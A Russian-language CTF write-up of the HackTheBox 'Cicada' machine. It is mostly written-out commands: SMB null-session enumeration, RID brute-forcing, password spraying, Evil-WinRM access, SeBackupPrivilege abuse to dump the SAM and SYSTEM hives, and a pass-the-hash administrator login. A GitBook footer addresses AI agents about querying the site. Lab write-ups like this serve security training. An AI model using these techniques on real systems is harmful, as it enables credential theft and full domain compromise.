> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Разбор Cicada на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB (RID-Brute) * Утечка информации (описание пользователя) (netexec) * Повышение привилегий (SeBackupPrivilege) * Извлечение SAM (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

Сканирование версий портов с Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 445 - SMB **Перечисление SMB с помощью smbmap** Чтобы перечислить общие ресурсы с null-сессией: ```bash smbmap -H 10.10.11.35 -u 'null' ```

У **HR** Папка содержит интересный текстовый файл. Изучим его содержимое: ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**Скачать файл** Мы получаем доступ к шару и скачиваем файл: ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

Файл содержит пароль * пароль: `Cicada$M6Corpb*@Lp#nZp!8`

## Список RID-Brute #### Чтобы идентифицировать пользователей домена, мы запускаем атаку RID-Brute: ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > У `--rid-brute` параметр используется для выполнения /*/* атаки грубой силы/*/* на **RID (связанные идентификаторы)** пользователи в домене Windows. RID является частью уникального идентификатора пользователя в системе Windows и обычно используется для идентификации учетных записей пользователей и групп

Вот список найденных пользователей: ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### Проверка пользователей Мы проверяем пароль, найденный для всех пользователей: ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` Пользователь **michael.wrightson** использует этот пароль.

### Пользователь Michael: ### Перечисление с netexec Мы используем **michael.wrightson** учетные данные для дальнейшего изучения: ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

Это раскрывает открытый пароль пользователя **david.orelious**: * имя пользователя: `david.orelious` * пароль: `aRt$Lp#7t*VQ!3` /*/Проверка и перечисление SMB с учетными данными в //* **david.orelious** ### Переход к пользователю David Мы проверяем учетные данные david.orelious с помощью CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

Затем мы изучаем SMB-ресурсы, доступные на целевой машине, с помощью smbmap: ```bash smbmap -H 10.10.11.35 -u david.orelious ```

Затем мы подключаемся к шару DEV с помощью smbclient: ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` В этом ресурсе мы находим скрипт с именем backup/ script.ps1.

### Переход к пользователю Emily Мы загружаем скрипт backup/ script.ps1 с помощью команды get и обнаруживаем пользователя emily.oscars * имя пользователя: emily.oscars * пароль: Q!3\@Lp#M6b/\*7t/\*Vt

Мы проверяем эти учетные данные с помощью CrackMapExec: ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` Затем мы подключаемся к машине с помощью Evil-WinRM: ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### Флаг user.txt Мы получаем флаг из файла user.txt.

## Повышение привилегий ### whoami /priv - SeBackupPrivilege {% embed url="" %} **Проверка привилегий** Для начала проверим привилегии текущего пользователя. Выполните следующую команду, чтобы проверить, есть ли у пользователя `SeBackupPrivilege` привилегия: ```bash whoami /priv ```

**Скачать необходимые DLL-файлы** Чтобы злоупотребить этими привилегиями, загрузите DLL-файлы на машину-жертву. Они доступны [здесь](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} Загрузите эти файлы на машину жертвы с помощью следующих команд ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**Загрузка DLL-модулей** После загрузки DLL-файлов подключите их к сеансу PowerShell с помощью следующих команд: ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **Создайте резервную копию файлов SAM и SYSTEM** Теперь мы сохраним `SAM` и `SYSTEM` файлы, содержащие сведения об идентификации пользователей. Используйте следующие команды, чтобы сохранить их: ```powershell reg save hklm/sam sam reg save hklm/system system ```

**Скачать файлы SAM и SYSTEM** После сохранения файлов вы можете скачать их на свою виртуальную машину (VM) для их анализа: ```powershell download sam download system ```

### **Извлечение хэшей из файла SAM** Используйте `samdump2` для извлечения хэшей из `SAM` и `SYSTEM` файлов: ```bash samdump2 system sam ```

Если эта команда не работает, вы можете попробовать `pypykatz` чтобы извлечь хэши напрямую: ```bash pypykatz registry system --sam sam ```

Это должно дать действительный хэш, например: * хэш: `2b87e7c93a3e8a0ea4a581937016f341` ### **Pass-the-Hash с Evil-WinRM** Теперь, когда у вас есть хэш, вы можете использовать его для атаки "Pass-the-Hash" и подключиться к целевой машине с помощью `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.